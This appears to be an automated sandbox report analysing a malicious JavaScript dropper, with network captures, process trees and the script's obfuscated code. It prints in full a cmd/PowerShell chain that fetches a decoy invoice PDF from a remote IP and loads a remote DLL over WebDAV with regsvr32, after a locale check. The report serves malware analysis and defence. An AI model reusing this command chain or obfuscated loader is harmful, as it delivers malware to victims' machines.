Jan 11, 2025 02:15:09.753145933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:10.276242971 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:10.281208992 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:10.282623053 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:10.289767981 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:10.294583082 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:11.077502012 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:11.125972986 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:11.311167002 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:37.195306063 CET	52633	53	192.168.2.6	162.159.36.2
Jan 11, 2025 02:15:37.200098038 CET	53	52633	162.159.36.2	192.168.2.6
Jan 11, 2025 02:15:37.200164080 CET	52633	53	192.168.2.6	162.159.36.2
Jan 11, 2025 02:15:37.205157042 CET	53	52633	162.159.36.2	192.168.2.6
Jan 11, 2025 02:15:37.680951118 CET	52633	53	192.168.2.6	162.159.36.2
Jan 11, 2025 02:15:37.687517881 CET	53	52633	162.159.36.2	192.168.2.6
Jan 11, 2025 02:15:37.687582016 CET	52633	53	192.168.2.6	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:15:18.395246983 CET	60229	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:15:37.183326006 CET	53	54069	162.159.36.2	192.168.2.6
Jan 11, 2025 02:15:37.691035032 CET	62483	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:15:37.699712038 CET	53	62483	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:15:18.395246983 CET	192.168.2.6	1.1.1.1	0x3547	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:15:37.691035032 CET	192.168.2.6	1.1.1.1	0x7dce	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:15:18.402209044 CET	1.1.1.1	192.168.2.6	0x3547	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:15:19.114053011 CET	1.1.1.1	192.168.2.6	0xc888	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:15:19.114053011 CET	1.1.1.1	192.168.2.6	0xc888	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:15:37.699712038 CET	1.1.1.1	192.168.2.6	0x7dce	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 02:16:20.595331907 CET	1.1.1.1	192.168.2.6	0xbee7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:20.595331907 CET	1.1.1.1	192.168.2.6	0xbee7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:35.349009037 CET	1.1.1.1	192.168.2.6	0x1e9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:35.349009037 CET	1.1.1.1	192.168.2.6	0x1e9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.474117041 CET	1.1.1.1	192.168.2.6	0xe510	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.474117041 CET	1.1.1.1	192.168.2.6	0xe510	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	6188	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:15:07.663655043 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:15:08.426423073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:15:08.426481009 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:15:08.426515102 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:15:08.426548004 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:15:08.426582098 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 02:15:08.426613092 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 02:15:08.426662922 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:15:08.426697016 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:15:08.426728964 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 02:15:08.426763058 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 02:15:08.431664944 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	4836	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:15:10.289767981 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:15:11.077502012 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:15:04
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js"
Imagebase:	0x7ff776f20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:15:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll
Imagebase:	0x7ff71e040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:15:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:15:04
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:15:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71e040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75c480000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:15:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:15:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:15:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1552,i,1470255070831351174,15330560733074415454,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yhspi() {	yhspi() ➔ undefined
1	mhwadl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var knbqscoa = this[uggpju + wgibjtf + kpkixktul + jntwblo + rayxodbqx + ponvqe + eyjhbk + qnlytxk] ( this[dumnqhf + rpqfe + axgeh + kpkixktul + tbcrjugvf + uggpju + qnlytxk][cffyarsn + kpkixktul + rayxodbqx + wgibjtf + qnlytxk + rayxodbqx + mormv + rirxdqj + yowedlwf + rayxodbqx + axgeh + qnlytxk] ( dumnqhf + rpqfe + axgeh + kpkixktul + tbcrjugvf + uggpju + qnlytxk + eaekvo + rpqfe + fxcqdzvvb + rayxodbqx + nfxxszju + nfxxszju ) [rdppsfdu + rayxodbqx + emkuarm + rdppsfdu + rayxodbqx + wgibjtf + asenmq] ( jfgcdf + iiapcjwlw + cxigf + vkaqidzc + zhurgp + cffyarsn + dbewxj + rdppsfdu + rdppsfdu + cxigf + stfmmhlk + jzwcv + zhurgp + dbewxj + rpqfe + cxigf + rdppsfdu + kqyywwaej + cffyarsn + ajftp + eyjhbk + qnlytxk + kpkixktul + ajftp + nfxxszju + msahximk + hrxosm + wgibjtf + eyjhbk + rayxodbqx + nfxxszju + kqyywwaej + ponvqe + eyjhbk + qnlytxk + rayxodbqx + kpkixktul + eyjhbk + wgibjtf + qnlytxk + tbcrjugvf + ajftp + eyjhbk + wgibjtf + nfxxszju + kqyywwaej + auryex + ajftp + axgeh + wgibjtf + nfxxszju + rayxodbqx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gebrnvdyy = 0 ; gebrnvdyy < mhwadl[nfxxszju + rayxodbqx + eyjhbk + emkuarm + qnlytxk + fxcqdzvvb] ; ++ gebrnvdyy )
4	{
5	if ( knbqscoa == mhwadl[gebrnvdyy] )
6	{
7	knbqscoa = true;
8	break ;
9	}
10	}
11	if ( knbqscoa !== true )
12	this[dumnqhf + rpqfe + axgeh + kpkixktul + tbcrjugvf + uggpju + qnlytxk][prxkjqcsg + yvmweqo + tbcrjugvf + qnlytxk] ( );
13	this[dumnqhf + rpqfe + axgeh + kpkixktul + tbcrjugvf + uggpju + qnlytxk][cffyarsn + kpkixktul + rayxodbqx + wgibjtf + qnlytxk + rayxodbqx + mormv + rirxdqj + yowedlwf + rayxodbqx + axgeh + qnlytxk] ( dumnqhf + rpqfe + axgeh + kpkixktul + tbcrjugvf + uggpju + qnlytxk + eaekvo + rpqfe + fxcqdzvvb + rayxodbqx + nfxxszju + nfxxszju ) [kpkixktul + yvmweqo + eyjhbk] ( axgeh + ejqqkw + asenmq + msahximk + khbnrqvv + axgeh + msahximk + uggpju + ajftp + xunlewief + rayxodbqx + kpkixktul + jntwblo + fxcqdzvvb + rayxodbqx + nfxxszju + nfxxszju + eaekvo + rayxodbqx + xojplvgn + rayxodbqx + msahximk + rzbheahmi + cffyarsn + ajftp + ejqqkw + ejqqkw + wgibjtf + eyjhbk + asenmq + msahximk + xbrtrb + ponvqe + eyjhbk + ksweirxu + ajftp + vqwikonz + rayxodbqx + rzbheahmi + dumnqhf + rayxodbqx + rirxdqj + rdppsfdu + rayxodbqx + bhjevsku + yvmweqo + rayxodbqx + jntwblo + qnlytxk + msahximk + rzbheahmi + mormv + yvmweqo + qnlytxk + hcnxi + tbcrjugvf + nfxxszju + rayxodbqx + msahximk + ogjckb + qnlytxk + rayxodbqx + ejqqkw + uggpju + ogjckb + kqyywwaej + tbcrjugvf + eyjhbk + ksweirxu + ajftp + tbcrjugvf + axgeh + rayxodbqx + eaekvo + uggpju + asenmq + lvywlsze + msahximk + fxcqdzvvb + qnlytxk + qnlytxk + uggpju + mzoqf + khbnrqvv + khbnrqvv + tiobw + wdgprnps + bqruumue + eaekvo + tiobw + ovdbk + bqruumue + eaekvo + tiobw + eaekvo + gzffk + bwrslwg + unnmivg + khbnrqvv + tbcrjugvf + eyjhbk + ksweirxu + ajftp + tbcrjugvf + axgeh + rayxodbqx + eaekvo + uggpju + fxcqdzvvb + uggpju + xbrtrb + ednjgjit + ednjgjit + jntwblo + qnlytxk + wgibjtf + kpkixktul + qnlytxk + msahximk + ogjckb + qnlytxk + rayxodbqx + ejqqkw + uggpju + ogjckb + kqyywwaej + tbcrjugvf + eyjhbk + ksweirxu + ajftp + tbcrjugvf + axgeh + rayxodbqx + eaekvo + uggpju + asenmq + lvywlsze + ednjgjit + ednjgjit + axgeh + ejqqkw + asenmq + msahximk + khbnrqvv + axgeh + msahximk + eyjhbk + rayxodbqx + qnlytxk + msahximk + yvmweqo + jntwblo + rayxodbqx + msahximk + kqyywwaej + kqyywwaej + tiobw + wdgprnps + bqruumue + eaekvo + tiobw + ovdbk + bqruumue + eaekvo + tiobw + eaekvo + gzffk + bwrslwg + unnmivg + yezmpplcx + izczrlczp + izczrlczp + izczrlczp + izczrlczp + kqyywwaej + asenmq + wgibjtf + ksweirxu + xunlewief + xunlewief + xunlewief + kpkixktul + ajftp + ajftp + qnlytxk + kqyywwaej + ednjgjit + ednjgjit + axgeh + ejqqkw + asenmq + msahximk + khbnrqvv + axgeh + msahximk + kpkixktul + rayxodbqx + emkuarm + jntwblo + ksweirxu + kpkixktul + bqruumue + gzffk + msahximk + khbnrqvv + jntwblo + msahximk + kqyywwaej + kqyywwaej + tiobw + wdgprnps + bqruumue + eaekvo + tiobw + ovdbk + bqruumue + eaekvo + tiobw + eaekvo + gzffk + bwrslwg + unnmivg + yezmpplcx + izczrlczp + izczrlczp + izczrlczp + izczrlczp + kqyywwaej + asenmq + wgibjtf + ksweirxu + xunlewief + xunlewief + xunlewief + kpkixktul + ajftp + ajftp + qnlytxk + kqyywwaej + tiobw + bqruumue + gzffk + izczrlczp + wdgprnps + wdgprnps + xkuqfkykg + xkuqfkykg + tiobw + tiobw + xkuqfkykg + xkuqfkykg + wdgprnps + xkuqfkykg + eaekvo + asenmq + nfxxszju + nfxxszju, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll",0,false) ➔ 0
14	}
15	fxcqdzvvb = "G";
16	fxcqdzvvb = "K";
17	fxcqdzvvb = "C";
18	fxcqdzvvb = "r";
19	fxcqdzvvb = "V";
20	fxcqdzvvb = "z";
21	fxcqdzvvb = "p";
22	fxcqdzvvb = "f";
23	fxcqdzvvb = "E";
24	fxcqdzvvb = "a";
25	fxcqdzvvb = "g";
26	fxcqdzvvb = "b";
27	fxcqdzvvb = "a";
28	fxcqdzvvb = "H";
29	fxcqdzvvb = "h";
30	fxcqdzvvb = "c";
31	fxcqdzvvb = "t";
32	fxcqdzvvb = "k";
33	fxcqdzvvb = "t";
34	fxcqdzvvb = "f";
35	fxcqdzvvb = "J";
36	fxcqdzvvb = "k";
37	fxcqdzvvb = "c";
38	fxcqdzvvb = "W";
39	fxcqdzvvb = "Q";
40	fxcqdzvvb = "a";
41	fxcqdzvvb = "v";
42	fxcqdzvvb = "H";
43	fxcqdzvvb = "H";
44	fxcqdzvvb = "P";
45	fxcqdzvvb = "R";
46	fxcqdzvvb = "j";
47	fxcqdzvvb = "A";
48	fxcqdzvvb = "n";
49	fxcqdzvvb = "T";
50	fxcqdzvvb = "F";
51	fxcqdzvvb = "D";
52	fxcqdzvvb = "h";
53	ejqqkw = "A";
54	ejqqkw = "Q";
55	ejqqkw = "j";
56	ejqqkw = "A";
57	ejqqkw = "m";
58	jzwcv = "l";
59	jzwcv = "Y";
60	jzwcv = "T";
61	jzwcv = "m";
62	jzwcv = "U";
63	jzwcv = "u";
64	jzwcv = "O";
65	jzwcv = "M";
66	jzwcv = "N";
67	jzwcv = "c";
68	jzwcv = "A";
69	jzwcv = "x";
70	jzwcv = "F";
71	jzwcv = "Z";
72	jzwcv = "t";
73	jzwcv = "g";
74	jzwcv = "E";
75	jzwcv = "Q";
76	jzwcv = "d";
77	jzwcv = "R";
78	jzwcv = "j";
79	jzwcv = "i";
80	jzwcv = "c";
81	jzwcv = "E";
82	jzwcv = "K";
83	jzwcv = "g";
84	jzwcv = "v";
85	jzwcv = "q";
86	jzwcv = "d";
87	jzwcv = "r";
88	jzwcv = "D";
89	jzwcv = "N";
90	jzwcv = "Z";
91	jzwcv = "T";
92	wdgprnps = "e";
93	wdgprnps = "Z";
94	wdgprnps = "j";
95	wdgprnps = "z";
96	wdgprnps = "H";
97	wdgprnps = "U";
98	wdgprnps = "y";
99	wdgprnps = "p";
100	wdgprnps = "A";
101	wdgprnps = "z";
102	wdgprnps = "q";
103	wdgprnps = "q";
